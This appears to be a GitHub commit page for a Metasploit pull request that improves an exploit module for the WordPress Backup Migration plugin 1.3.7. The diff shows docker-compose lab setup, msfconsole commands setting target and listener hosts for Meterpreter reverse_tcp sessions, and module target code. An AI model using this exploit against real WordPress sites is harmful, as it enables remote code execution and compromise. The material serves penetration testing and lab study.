You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Land rapid7#19417, Improve wp_backup_migration_php exploit
The new PHP filter chain evaluates a POST parameter, which simplifies
the process and reduces the payload size enabling the module to send the
entire paylaod in one POST request instead of writing the payload to a
file character by character over many POST requests. Support for both
Windows and Linux Meterpreter payloads, not just PHP Meterpreter, has
also been added.
Copy file name to clipboardExpand all lines: documentation/modules/exploit/multi/http/wp_backup_migration_php_filter.md
+67-42Lines changed: 67 additions & 42 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -7,12 +7,13 @@ The vuln makes use of a neat technique called PHP Filter Chaining which allows a
7
7
bytes to a string by continuously chaining character encoding conversion. This allows an attacker to prepend
8
8
a PHP payload to a string which gets evaluated by a require statement, which results in command execution.
9
9
10
-
###Setup
10
+
## Setup
11
11
12
12
Spin up a Wordpress instance by running `docker-compose up` in the same directory as the `docker-compose.yml` file below:
13
+
13
14
```
14
15
version: "3"
15
-
# Defines which compose version to use
16
+
# Defines which compose version to use
16
17
services:
17
18
# Services line define which Docker images to run. In this case, it will be MySQL server and WordPress image.
18
19
db:
@@ -32,26 +33,29 @@ services:
32
33
restart: always
33
34
# Restart line controls the restart mode, meaning if the container stops running for any reason, it will restart the process immediately.
34
35
ports:
35
-
- "8000:80"
36
-
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:8000
36
+
- "5555:80"
37
+
# The previous line defines the port that the WordPress container will use. After successful installation, the full path will look like this: http://localhost:5555
37
38
environment:
38
39
WORDPRESS_DB_HOST: db:3306
39
40
WORDPRESS_DB_USER: MyWordPressUser
40
41
WORDPRESS_DB_PASSWORD: Pa$$5w0rD
41
42
WORDPRESS_DB_NAME: MyWordPressDatabaseName
42
-
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
43
+
# Similar to MySQL image variables, the last four lines define the main variables needed for the WordPress container to work properly with the MySQL container.
43
44
volumes:
44
45
["./:/var/www/html"]
45
46
volumes:
46
47
mysql: {}
47
48
```
48
49
49
50
Download the vulnerable Backup Migration plugin: `https://downloads.wordpress.org/plugin/backup-backup.1.3.7.zip`.
50
-
Navigate to `http://localhost:8000` and you'll be redirected and asked to setup the WordPress site. This includes
51
+
Navigate to `http://localhost:5555` and you'll be redirected and asked to setup the WordPress site. This includes
51
52
setting a username, password, email address for the admin user etc. Once the setup is complete login as the newly created
52
53
admin user and via the options on the left side of the screen navigate to the `Plugins` and select `Add New`. Upload the
53
54
`backup-backup.1.3.7.zip` file. You should now see `Backup Migration` in the list of Plugins, select `Activate` on the
54
-
plugin. You should now have a vulnerable instance running.
55
+
plugin. You should now have a vulnerable instance running.
56
+
57
+
## Options
58
+
No options
55
59
56
60
## Verification Steps
57
61
@@ -62,65 +66,86 @@ plugin. You should now have a vulnerable instance running.
62
66
1. Receive a Meterpreter session in the context of the user running the WordPress application.
63
67
64
68
## Scenarios
65
-
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.0)
69
+
### Backup Migration Plugin version: 1.3.7 (Containerized WordPress Version 6.5.3)
70
+
71
+
Using `php/meterpreter/reverse_tcp`:
72
+
66
73
```
67
-
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 127.0.0.1
68
-
rhosts => 127.0.0.1
69
-
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 8000
70
-
rport => 8000
71
-
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set lhost 192.168.123.1
72
-
lhost => 192.168.123.1
74
+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rhosts 192.168.1.36
75
+
rhosts => 192.168.1.36
76
+
msf6 exploit(multi/http/wp_backup_migration_php_filter) > set rport 5555
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
60
+
}
61
+
],
62
+
[
63
+
'Windows Command Shell',
64
+
{
65
+
'Platform'=>'win',
66
+
'Arch'=>ARCH_CMD
67
+
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
68
+
}
69
+
]
70
+
],
49
71
'Notes'=>{
50
72
'Stability'=>[CRASH_SAFE],
51
73
'Reliability'=>[REPEATABLE_SESSION],
52
74
'SideEffects'=>[IOC_IN_LOGS,ARTIFACTS_ON_DISK]
53
75
}
54
76
)
55
77
)
56
-
57
-
register_options(
58
-
[
59
-
OptString.new('PAYLOAD_FILENAME',[true,'The filename for the payload to be used on the target host (%RAND%.php by default)',Rex::Text.rand_text_alpha(4) + '.php']),
0 commit comments